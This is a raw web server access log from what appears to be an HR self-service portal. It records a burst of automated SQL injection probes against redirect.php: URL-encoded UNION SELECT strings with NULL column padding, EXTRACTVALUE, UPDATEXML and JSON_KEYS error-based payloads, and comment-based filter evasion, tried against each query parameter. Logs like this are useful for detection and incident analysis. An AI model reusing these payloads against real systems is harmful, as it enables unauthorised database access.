100.64.0.1 - - [07/Sep/2025:02:22:26 +0800] "GET /ehr/ess/redirect.php?action=viewflowchart&apply_type=overtime&companyid=3913%25%21%28EXTRA%2F%2A%2A%2Fstring%3D%2C%2F%2A%2A%2Fstring%3D%28SELECT%2F%2A%2A%2FCONCAT%280x5335784f%2C%28SELECT%2F%2A%2A%2F%28ELT%282836%3D2836%2C1%29%29%29%2C0x536c6d47%29%29%2C%2F%2A%2A%2Fstring%3D%2C%2F%2A%2A%2Fstring%3D--%2F%2A%2A%2F0Q6B%29&flow_seqno=1163723&scriptname=view_flowchart&userseqno=47810 HTTP/1.1" 302 -
100.64.0.1 - - [07/Sep/2025:02:22:26 +0800] "GET /ehr/ess/ HTTP/1.1" 200 8806 "http://hcp.maglayers.com.cn:8088/ehr/ess" "Mozilla/5.0 (Linux; Android 11; SM-A326U) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/101.0.4951.41 Mobile Safari/537.36"
100.64.0.1 - - [07/Sep/2025:02:22:26 +0800] "GET /ehr/ess/ HTTP/1.1" 200 8806
100.64.0.1 - - [07/Sep/2025:02:22:26 +0800] "GET /ehr/ess/redirect.php?action=viewflowchart&apply_type=overtime&companyid=3913&flow_seqno=1163723&scriptname=view_flowchart%25%21%28EXTRA%2F%2A%2A%2Fstring%3D%27%2C%2F%2A%2A%2Fstring%3DNULL%2CNULL%2CNULL%2C%28SELECT%2F%2A%2A%2FCONCAT%280x73755536%2C%28SELECT%2F%2A%2A%2F%28ELT%282836%3D2836%2C1%29%29%29%2C0x72357777%29%29%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2C%2F%2A%2A%2Fstring%3D%2C%2F%2A%2A%2Fstring%3D%23%2F%2A%2A%2F5nt2%29&userseqno=47810 HTTP/1.1" 302 - "-" "Mozilla/5.0 (Linux; Android 11; SM-A326U) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/101.0.4951.41 Mobile Safari/537.36"
100.64.0.1 - - [07/Sep/2025:02:22:26 +0800] "GET /ehr/ess/redirect.php?action=viewflowchart&apply_type=overtime&companyid=3913&flow_seqno=1163723&scriptname=view_flowchart%25%21%28EXTRA%2F%2A%2A%2Fstring%3D%27%2C%2F%2A%2A%2Fstring%3DNULL%2CNULL%2CNULL%2C%28SELECT%2F%2A%2A%2FCONCAT%280x73755536%2C%28SELECT%2F%2A%2A%2F%28ELT%282836%3D2836%2C1%29%29%29%2C0x72357777%29%29%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2C%2F%2A%2A%2Fstring%3D%2C%2F%2A%2A%2Fstring%3D%23%2F%2A%2A%2F5nt2%29&userseqno=47810 HTTP/1.1" 302 -
100.64.0.1 - - [07/Sep/2025:02:22:26 +0800] "GET /ehr/ess/redirect.php?action=viewflowchart&apply_type=overtime%25%21%28EXTRA%2F%2A%2A%2Fstring%3D%2C%2F%2A%2A%2Fstring%3DNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2C%28SELECT%2F%2A%2A%2FCONCAT%280x71323134%2C%28SELECT%2F%2A%2A%2F%28ELT%282836%3D2836%2C1%29%29%29%2C0x7943616c%29%29%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2C%2F%2A%2A%2Fstring%3D%2C%2F%2A%2A%2Fstring%3D%23%2F%2A%2A%2FMKy3%29&companyid=3913&flow_seqno=1163723&scriptname=view_flowchart&userseqno=47810 HTTP/1.1" 200 148 "-" "Mozilla/5.0 (Linux; Android 11; SM-A326U) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/101.0.4951.41 Mobile Safari/537.36"
100.64.0.1 - - [07/Sep/2025:02:22:26 +0800] "GET /ehr/ess/redirect.php?action=viewflowchart&apply_type=overtime%25%21%28EXTRA%2F%2A%2A%2Fstring%3D%2C%2F%2A%2A%2Fstring%3DNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2C%28SELECT%2F%2A%2A%2FCONCAT%280x71323134%2C%28SELECT%2F%2A%2A%2F%28ELT%282836%3D2836%2C1%29%29%29%2C0x7943616c%29%29%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2C%2F%2A%2A%2Fstring%3D%2C%2F%2A%2A%2Fstring%3D%23%2F%2A%2A%2FMKy3%29&companyid=3913&flow_seqno=1163723&scriptname=view_flowchart&userseqno=47810 HTTP/1.1" 200 148
100.64.0.1 - - [07/Sep/2025:02:22:26 +0800] "GET /ehr/ess HTTP/1.1" 301 249
100.64.0.1 - - [07/Sep/2025:02:22:26 +0800] "GET /ehr/ess HTTP/1.1" 301 249 "http://hcp.maglayers.com.cn:8088/ehr/ess/redirect.php?scriptname=page_error&msgtxt=Error%3AWorkflow+Not+Exists%2C+Please+Contact+Your+System+Administrator.&target=iframe" "Mozilla/5.0 (Linux; Android 11; SM-A326U) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/101.0.4951.41 Mobile Safari/537.36"
100.64.0.1 - - [07/Sep/2025:02:22:26 +0800] "GET /ehr/ess/redirect.php?scriptname=page_error&msgtxt=Error%3AWorkflow+Not+Exists%2C+Please+Contact+Your+System+Administrator.&target=iframe HTTP/1.1" 302 - "http://hcp.maglayers.com.cn:8088/ehr/ess/redirect.php?action=viewflowchart&apply_type=overtime&companyid=3913%2F%2A%2A%2F%2F%2A%2A%2FOR%2F%2A%2A%2FEXTRACTVALUE%282030%2CCONCAT%280x63314d70%2C%28SELECT%2F%2A%2A%2F%28ELT%282836%3D2836%2C1%29%29%29%2C0x6e7a6a72%29%29--%2F%2A%2A%2Fc4un&flow_seqno=1163723&scriptname=view_flowchart&userseqno=47810" "Mozilla/5.0 (Linux; Android 11; SM-A326U) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/101.0.4951.41 Mobile Safari/537.36"
100.64.0.1 - - [07/Sep/2025:02:22:26 +0800] "GET /ehr/ess/redirect.php?scriptname=page_error&msgtxt=Error%3AWorkflow+Not+Exists%2C+Please+Contact+Your+System+Administrator.&target=iframe HTTP/1.1" 302 -
100.64.0.1 - - [07/Sep/2025:02:22:26 +0800] "GET /ehr/ess/redirect.php?action=viewflowchart&apply_type=overtime%25%21%28EXTRA%2F%2A%2A%2Fstring%3D%27%2C%2F%2A%2A%2Fstring%3DNULL%2CNULL%2CNULL%2C%28SELECT%2F%2A%2A%2FCONCAT%280x52515675%2C%28SELECT%2F%2A%2A%2F%28ELT%282836%3D2836%2C1%29%29%29%2C0x795a666d%29%29%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2C%2F%2A%2A%2Fstring%3D%2C%2F%2A%2A%2Fstring%3D%23%2F%2A%2A%2FO4Xk%29&companyid=3913&flow_seqno=1163723&scriptname=view_flowchart&userseqno=47810 HTTP/1.1" 200 148 "-" "Mozilla/5.0 (Linux; Android 11; SM-A326U) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/101.0.4951.41 Mobile Safari/537.36"
100.64.0.1 - - [07/Sep/2025:02:22:26 +0800] "GET /ehr/ess/redirect.php?action=viewflowchart&apply_type=overtime%25%21%28EXTRA%2F%2A%2A%2Fstring%3D%27%2C%2F%2A%2A%2Fstring%3DNULL%2CNULL%2CNULL%2C%28SELECT%2F%2A%2A%2FCONCAT%280x52515675%2C%28SELECT%2F%2A%2A%2F%28ELT%282836%3D2836%2C1%29%29%29%2C0x795a666d%29%29%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2C%2F%2A%2A%2Fstring%3D%2C%2F%2A%2A%2Fstring%3D%23%2F%2A%2A%2FO4Xk%29&companyid=3913&flow_seqno=1163723&scriptname=view_flowchart&userseqno=47810 HTTP/1.1" 200 148
100.64.0.1 - - [07/Sep/2025:02:22:26 +0800] "GET /ehr/ess HTTP/1.1" 301 249 "http://hcp.maglayers.com.cn:8088/ehr/ess/redirect.php?scriptname=page_error&msgtxt=Error%3AWorkflow+Not+Exists%2C+Please+Contact+Your+System+Administrator.&target=iframe" "Mozilla/5.0 (Linux; Android 11; SM-A326U) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/101.0.4951.41 Mobile Safari/537.36"
100.64.0.1 - - [07/Sep/2025:02:22:26 +0800] "GET /ehr/ess HTTP/1.1" 301 249
100.64.0.1 - - [07/Sep/2025:02:22:26 +0800] "GET /ehr/ess/redirect.php?action=viewflowchart&apply_type=overtime&companyid=3913&flow_seqno=1163723&scriptname=view_flowchart%25%21%28EXTRA%2F%2A%2A%2Fstring%3D%2C%2F%2A%2A%2Fstring%3DNULL%2CNULL%2CNULL%2C%28SELECT%2F%2A%2A%2FCONCAT%280x67714e74%2C%28SELECT%2F%2A%2A%2F%28ELT%282836%3D2836%2C1%29%29%29%2C0x6657476a%29%29%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2C%2F%2A%2A%2Fstring%3D%2C%2F%2A%2A%2Fstring%3D%23%2F%2A%2A%2FqiJ6%29&userseqno=47810 HTTP/1.1" 302 - "-" "Mozilla/5.0 (Linux; Android 11; SM-A326U) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/101.0.4951.41 Mobile Safari/537.36"
100.64.0.1 - - [07/Sep/2025:02:22:26 +0800] "GET /ehr/ess/redirect.php?action=viewflowchart&apply_type=overtime&companyid=3913&flow_seqno=1163723&scriptname=view_flowchart%25%21%28EXTRA%2F%2A%2A%2Fstring%3D%2C%2F%2A%2A%2Fstring%3DNULL%2CNULL%2CNULL%2C%28SELECT%2F%2A%2A%2FCONCAT%280x67714e74%2C%28SELECT%2F%2A%2A%2F%28ELT%282836%3D2836%2C1%29%29%29%2C0x6657476a%29%29%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2C%2F%2A%2A%2Fstring%3D%2C%2F%2A%2A%2Fstring%3D%23%2F%2A%2A%2FqiJ6%29&userseqno=47810 HTTP/1.1" 302 -
100.64.0.1 - - [07/Sep/2025:02:22:26 +0800] "GET /ehr/ess/redirect.php?action=viewflowchart&apply_type=overtime&companyid=3913&flow_seqno=1163723&scriptname=view_flowchart&userseqno=47810%25%21%28EXTRA%2F%2A%2A%2Fstring%3D%2C%2F%2A%2A%2Fstring%3DNULL%2CNULL%2C%28SELECT%2F%2A%2A%2FCONCAT%280x6c52424e%2C%28SELECT%2F%2A%2A%2F%28ELT%282836%3D2836%2C1%29%29%29%2C0x48515032%29%29%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2C%2F%2A%2A%2Fstring%3D%2C%2F%2A%2A%2Fstring%3D%23%2F%2A%2A%2F3V8k%29 HTTP/1.1" 200 5915 "-" "Mozilla/5.0 (Linux; Android 11; SM-A326U) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/101.0.4951.41 Mobile Safari/537.36"
100.64.0.1 - - [07/Sep/2025:02:22:26 +0800] "GET /ehr/ess/redirect.php?action=viewflowchart&apply_type=overtime&companyid=3913&flow_seqno=1163723&scriptname=view_flowchart&userseqno=47810%25%21%28EXTRA%2F%2A%2A%2Fstring%3D%2C%2F%2A%2A%2Fstring%3DNULL%2CNULL%2C%28SELECT%2F%2A%2A%2FCONCAT%280x6c52424e%2C%28SELECT%2F%2A%2A%2F%28ELT%282836%3D2836%2C1%29%29%29%2C0x48515032%29%29%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2C%2F%2A%2A%2Fstring%3D%2C%2F%2A%2A%2Fstring%3D%23%2F%2A%2A%2F3V8k%29 HTTP/1.1" 200 5915
100.64.0.1 - - [07/Sep/2025:02:22:26 +0800] "GET /ehr/ess HTTP/1.1" 301 249 "http://hcp.maglayers.com.cn:8088/ehr/ess/redirect.php?action=viewflowchart&apply_type=overtime&companyid=3913&flow_seqno=1163723&scriptname=view_flowchart%25%21%28EXTRA%2F%2A%2A%2Fstring%3D%27%2C%2F%2A%2A%2Fstring%3DNULL%2CNULL%2CNULL%2C%28SELECT%2F%2A%2A%2FCONCAT%280x73755536%2C%28SELECT%2F%2A%2A%2F%28ELT%282836%3D2836%2C1%29%29%29%2C0x72357777%29%29%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2C%2F%2A%2A%2Fstring%3D%2C%2F%2A%2A%2Fstring%3D%23%2F%2A%2A%2F5nt2%29&userseqno=47810" "Mozilla/5.0 (Linux; Android 11; SM-A326U) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/101.0.4951.41 Mobile Safari/537.36"
100.64.0.1 - - [07/Sep/2025:02:22:26 +0800] "GET /ehr/ess HTTP/1.1" 301 249
100.64.0.1 - - [07/Sep/2025:02:22:26 +0800] "GET /ehr/ess/redirect.php?action=viewflowchart&apply_type=overtime&companyid=3913&flow_seqno=1163723&scriptname=view_flowchart&userseqno=47810%25%21%28EXTRA%2F%2A%2A%2Fstring%3D%2C%2F%2A%2A%2Fstring%3DNULL%2CNULL%2C%28SELECT%2F%2A%2A%2FCONCAT%280x4f303753%2C%28SELECT%2F%2A%2A%2F%28ELT%282836%3D2836%2C1%29%29%29%2C0x4d773832%29%29%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2C%2F%2A%2A%2Fstring%3D%2C%2F%2A%2A%2Fstring%3D%23%29 HTTP/1.1" 200 5915 "-" "Mozilla/5.0 (Linux; Android 11; SM-A326U) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/101.0.4951.41 Mobile Safari/537.36"
100.64.0.1 - - [07/Sep/2025:02:22:26 +0800] "GET /ehr/ess/redirect.php?action=viewflowchart&apply_type=overtime&companyid=3913&flow_seqno=1163723&scriptname=view_flowchart&userseqno=47810%25%21%28EXTRA%2F%2A%2A%2Fstring%3D%2C%2F%2A%2A%2Fstring%3DNULL%2CNULL%2C%28SELECT%2F%2A%2A%2FCONCAT%280x4f303753%2C%28SELECT%2F%2A%2A%2F%28ELT%282836%3D2836%2C1%29%29%29%2C0x4d773832%29%29%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2C%2F%2A%2A%2Fstring%3D%2C%2F%2A%2A%2Fstring%3D%23%29 HTTP/1.1" 200 5915
100.64.0.1 - - [07/Sep/2025:02:22:26 +0800] "GET /ehr/ess/redirect.php?action=viewflowchart%25%21%28EXTRA%2F%2A%2A%2Fstring%3D%27%2C%2F%2A%2A%2Fstring%3DNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2C%28SELECT%2F%2A%2A%2FCONCAT%280x65414c62%2C%28SELECT%2F%2A%2A%2F%28ELT%282836%3D2836%2C1%29%29%29%2C0x496f6d67%29%29%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2C%2F%2A%2A%2Fstring%3D%2C%2F%2A%2A%2Fstring%3D%23%2F%2A%2A%2FevUK%29&apply_type=overtime&companyid=3913&flow_seqno=1163723&scriptname=view_flowchart&userseqno=47810 HTTP/1.1" 200 5915 "-" "Mozilla/5.0 (Linux; Android 11; SM-A326U) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/101.0.4951.41 Mobile Safari/537.36"
100.64.0.1 - - [07/Sep/2025:02:22:26 +0800] "GET /ehr/ess/redirect.php?action=viewflowchart%25%21%28EXTRA%2F%2A%2A%2Fstring%3D%27%2C%2F%2A%2A%2Fstring%3DNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2C%28SELECT%2F%2A%2A%2FCONCAT%280x65414c62%2C%28SELECT%2F%2A%2A%2F%28ELT%282836%3D2836%2C1%29%29%29%2C0x496f6d67%29%29%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2C%2F%2A%2A%2Fstring%3D%2C%2F%2A%2A%2Fstring%3D%23%2F%2A%2A%2FevUK%29&apply_type=overtime&companyid=3913&flow_seqno=1163723&scriptname=view_flowchart&userseqno=47810 HTTP/1.1" 200 5915
100.64.0.1 - - [07/Sep/2025:02:22:26 +0800] "GET /ehr/ess/redirect.php?action=viewflowchart&apply_type=overtime&companyid=3913&flow_seqno=1163723%25%21%28EXTRA%2F%2A%2A%2Fstring%3D%2C%2F%2A%2A%2Fstring%3DNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2C%28SELECT%2F%2A%2A%2FCONCAT%280x79336546%2C%28SELECT%2F%2A%2A%2F%28ELT%282836%3D2836%2C1%29%29%29%2C0x6e314c32%29%29%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2C%2F%2A%2A%2Fstring%3D%2C%2F%2A%2A%2Fstring%3D%23%2F%2A%2A%2FPER9%29&scriptname=view_flowchart&userseqno=47810 HTTP/1.1" 200 154 "-" "Mozilla/5.0 (Linux; Android 11; SM-A326U) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/101.0.4951.41 Mobile Safari/537.36"
100.64.0.1 - - [07/Sep/2025:02:22:26 +0800] "GET /ehr/ess/redirect.php?action=viewflowchart&apply_type=overtime&companyid=3913&flow_seqno=1163723%25%21%28EXTRA%2F%2A%2A%2Fstring%3D%2C%2F%2A%2A%2Fstring%3DNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2C%28SELECT%2F%2A%2A%2FCONCAT%280x79336546%2C%28SELECT%2F%2A%2A%2F%28ELT%282836%3D2836%2C1%29%29%29%2C0x6e314c32%29%29%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2C%2F%2A%2A%2Fstring%3D%2C%2F%2A%2A%2Fstring%3D%23%2F%2A%2A%2FPER9%29&scriptname=view_flowchart&userseqno=47810 HTTP/1.1" 200 154
100.64.0.1 - - [07/Sep/2025:02:22:26 +0800] "GET /ehr/ess HTTP/1.1" 301 249
100.64.0.1 - - [07/Sep/2025:02:22:26 +0800] "GET /ehr/ess HTTP/1.1" 301 249 "http://hcp.maglayers.com.cn:8088/ehr/ess/redirect.php?scriptname=page_error&msgtxt=Error%3AWorkflow+Not+Exists%2C+Please+Contact+Your+System+Administrator.&target=iframe" "Mozilla/5.0 (Linux; Android 11; SM-A326U) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/101.0.4951.41 Mobile Safari/537.36"
100.64.0.1 - - [07/Sep/2025:02:22:26 +0800] "GET /ehr/ess/redirect.php?action=viewflowchart&apply_type=overtime&companyid=3913%25%21%28EXTRA%2F%2A%2A%2Fstring%3D%27%2C%2F%2A%2A%2Fstring%3DNULL%2CNULL%2C%28SELECT%2F%2A%2A%2FCONCAT%280x43346349%2C%28SELECT%2F%2A%2A%2F%28ELT%282836%3D2836%2C1%29%29%29%2C0x5552714c%29%29%2CNULL%2CNULL%2CNULL%2CNULL%2C%2F%2A%2A%2Fstring%3D%2C%2F%2A%2A%2Fstring%3D%23%2F%2A%2A%2Fg5VD%29&flow_seqno=1163723&scriptname=view_flowchart&userseqno=47810 HTTP/1.1" 302 - "-" "Mozilla/5.0 (Linux; Android 11; SM-A326U) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/101.0.4951.41 Mobile Safari/537.36"
100.64.0.1 - - [07/Sep/2025:02:22:26 +0800] "GET /ehr/ess/redirect.php?action=viewflowchart&apply_type=overtime&companyid=3913%25%21%28EXTRA%2F%2A%2A%2Fstring%3D%27%2C%2F%2A%2A%2Fstring%3DNULL%2CNULL%2C%28SELECT%2F%2A%2A%2FCONCAT%280x43346349%2C%28SELECT%2F%2A%2A%2F%28ELT%282836%3D2836%2C1%29%29%29%2C0x5552714c%29%29%2CNULL%2CNULL%2CNULL%2CNULL%2C%2F%2A%2A%2Fstring%3D%2C%2F%2A%2A%2Fstring%3D%23%2F%2A%2A%2Fg5VD%29&flow_seqno=1163723&scriptname=view_flowchart&userseqno=47810 HTTP/1.1" 302 -
100.64.0.1 - - [07/Sep/2025:02:22:26 +0800] "GET /ehr/ess/redirect.php?scriptname=page_error&msgtxt=Error%3AWorkflow+Not+Exists%2C+Please+Contact+Your+System+Administrator.&target=iframe HTTP/1.1" 302 - "http://hcp.maglayers.com.cn:8088/ehr/ess/redirect.php?action=viewflowchart&apply_type=overtime&companyid=3913%2F%2A%2A%2F%2F%2A%2A%2FAND%2F%2A%2A%2FUPDATEXML%285947%2CCONCAT%280x5a544467%2C%28SELECT%2F%2A%2A%2F%28ELT%282836%3D2836%2C1%29%29%29%2C0x43323359%29%2C5431%29--%2F%2A%2A%2Fpt0g&flow_seqno=1163723&scriptname=view_flowchart&userseqno=47810" "Mozilla/5.0 (Linux; Android 11; SM-A326U) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/101.0.4951.41 Mobile Safari/537.36"
100.64.0.1 - - [07/Sep/2025:02:22:26 +0800] "GET /ehr/ess/redirect.php?scriptname=page_error&msgtxt=Error%3AWorkflow+Not+Exists%2C+Please+Contact+Your+System+Administrator.&target=iframe HTTP/1.1" 302 -
100.64.0.1 - - [07/Sep/2025:02:22:26 +0800] "GET /ehr/ess/redirect.php?scriptname=page_error&msgtxt=Error%3AWorkflow+Not+Exists%2C+Please+Contact+Your+System+Administrator.&target=iframe HTTP/1.1" 302 -
100.64.0.1 - - [07/Sep/2025:02:22:26 +0800] "GET /ehr/ess/redirect.php?scriptname=page_error&msgtxt=Error%3AWorkflow+Not+Exists%2C+Please+Contact+Your+System+Administrator.&target=iframe HTTP/1.1" 302 - "http://hcp.maglayers.com.cn:8088/ehr/ess/redirect.php?action=viewflowchart&apply_type=overtime&companyid=3913%2F%2A%2A%2F%2F%2A%2A%2FOR%2F%2A%2A%2FJSON_KEYS%28%28SELECT%2F%2A%2A%2FCONVERT%28%28SELECT%2F%2A%2A%2FCONCAT%280x68464d50%2C%28SELECT%2F%2A%2A%2F%28ELT%282836%3D2836%2C1%29%29%29%2C0x39325644%29%29%2F%2A%2A%2FUSING%2F%2A%2A%2Futf8%29%29%29--%2F%2A%2A%2FSiDQ&flow_seqno=1163723&scriptname=view_flowchart&userseqno=47810" "Mozilla/5.0 (Linux; Android 11; SM-A326U) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/101.0.4951.41 Mobile Safari/537.36"
100.64.0.1 - - [07/Sep/2025:02:22:26 +0800] "GET /ehr/ess/redirect.php?scriptname=page_error&msgtxt=Error%3AWorkflow+Not+Exists%2C+Please+Contact+Your+System+Administrator.&target=iframe HTTP/1.1" 302 - "http://hcp.maglayers.com.cn:8088/ehr/ess/redirect.php?action=viewflowchart&apply_type=overtime&companyid=3913%2F%2A%2A%2F%2F%2A%2A%2FOR%2F%2A%2A%2FUPDATEXML%285947%2CCONCAT%280x50745453%2C%28SELECT%2F%2A%2A%2F%28ELT%282836%3D2836%2C1%29%29%29%2C0x5270304a%29%2C5431%29--%2F%2A%2A%2FGoQ9&flow_seqno=1163723&scriptname=view_flowchart&userseqno=47810" "Mozilla/5.0 (Linux; Android 11; SM-A326U) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/101.0.4951.41 Mobile Safari/537.36"
100.64.0.1 - - [07/Sep/2025:02:22:26 +0800] "GET /ehr/ess/redirect.php?scriptname=page_error&msgtxt=Error%3AWorkflow+Not+Exists%2C+Please+Contact+Your+System+Administrator.&target=iframe HTTP/1.1" 302 -
100.64.0.1 - - [07/Sep/2025:02:22:26 +0800] "GET /ehr/ess/redirect.php?action=viewflowchart&apply_type=overtime&companyid=3913%25%21%28EXTRA%2F%2A%2A%2Fstring%3D%2C%2F%2A%2A%2Fstring%3DNULL%2CNULL%2C%28SELECT%2F%2A%2A%2FCONCAT%280x52796f74%2C%28SELECT%2F%2A%2A%2F%28ELT%282836%3D2836%2C1%29%29%29%2C0x73697675%29%29%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2C%2F%2A%2A%2Fstring%3D%2C%2F%2A%2A%2Fstring%3D%23%2F%2A%2A%2FhEnO%29&flow_seqno=1163723&scriptname=view_flowchart&userseqno=47810 HTTP/1.1" 302 - "-" "Mozilla/5.0 (Linux; Android 11; SM-A326U) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/101.0.4951.41 Mobile Safari/537.36"
100.64.0.1 - - [07/Sep/2025:02:22:26 +0800] "GET /ehr/ess/redirect.php?action=viewflowchart&apply_type=overtime&companyid=3913%25%21%28EXTRA%2F%2A%2A%2Fstring%3D%2C%2F%2A%2A%2Fstring%3DNULL%2CNULL%2C%28SELECT%2F%2A%2A%2FCONCAT%280x52796f74%2C%28SELECT%2F%2A%2A%2F%28ELT%282836%3D2836%2C1%29%29%29%2C0x73697675%29%29%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2C%2F%2A%2A%2Fstring%3D%2C%2F%2A%2A%2Fstring%3D%23%2F%2A%2A%2FhEnO%29&flow_seqno=1163723&scriptname=view_flowchart&userseqno=47810 HTTP/1.1" 302 -
100.64.0.1 - - [07/Sep/2025:02:22:26 +0800] "GET /ehr/ess/redirect.php?scriptname=page_error&msgtxt=Error%3AWorkflow+Not+Exists%2C+Please+Contact+Your+System+Administrator.&target=iframe HTTP/1.1" 302 - "http://hcp.maglayers.com.cn:8088/ehr/ess/redirect.php?action=viewflowchart&apply_type=overtime&companyid=3913%25%21%28EXTRA%2F%2A%2A%2Fstring%3D%2C%2F%2A%2A%2Fstring%3D%28SELECT%2F%2A%2A%2FCONCAT%280x5335784f%2C%28SELECT%2F%2A%2A%2F%28ELT%282836%3D2836%2C1%29%29%29%2C0x536c6d47%29%29%2C%2F%2A%2A%2Fstring%3D%2C%2F%2A%2A%2Fstring%3D--%2F%2A%2A%2F0Q6B%29&flow_seqno=1163723&scriptname=view_flowchart&userseqno=47810" "Mozilla/5.0 (Linux; Android 11; SM-A326U) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/101.0.4951.41 Mobile Safari/537.36"
100.64.0.1 - - [07/Sep/2025:02:22:26 +0800] "GET /ehr/ess/redirect.php?scriptname=page_error&msgtxt=Error%3AWorkflow+Not+Exists%2C+Please+Contact+Your+System+Administrator.&target=iframe HTTP/1.1" 302 -
100.64.0.1 - - [07/Sep/2025:02:22:26 +0800] "GET /ehr/ess/redirect.php?action=viewflowchart&apply_type=overtime&companyid=3913&flow_seqno=1163723&scriptname=view_flowchart%25%21%28EXTRA%2F%2A%2A%2Fstring%3D%2C%2F%2A%2A%2Fstring%3DNULL%2CNULL%2CNULL%2C%28SELECT%2F%2A%2A%2FCONCAT%280x7a446571%2C%28SELECT%2F%2A%2A%2F%28ELT%282836%3D2836%2C1%29%29%29%2C0x6f6d796e%29%29%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2C%2F%2A%2A%2Fstring%3D%2C%2F%2A%2A%2Fstring%3D%23%29&userseqno=47810 HTTP/1.1" 302 - "-" "Mozilla/5.0 (Linux; Android 11; SM-A326U) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/101.0.4951.41 Mobile Safari/537.36"
100.64.0.1 - - [07/Sep/2025:02:22:26 +0800] "GET /ehr/ess/redirect.php?action=viewflowchart&apply_type=overtime&companyid=3913&flow_seqno=1163723&scriptname=view_flowchart%25%21%28EXTRA%2F%2A%2A%2Fstring%3D%2C%2F%2A%2A%2Fstring%3DNULL%2CNULL%2CNULL%2C%28SELECT%2F%2A%2A%2FCONCAT%280x7a446571%2C%28SELECT%2F%2A%2A%2F%28ELT%282836%3D2836%2C1%29%29%29%2C0x6f6d796e%29%29%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2C%2F%2A%2A%2Fstring%3D%2C%2F%2A%2A%2Fstring%3D%23%29&userseqno=47810 HTTP/1.1" 302 -
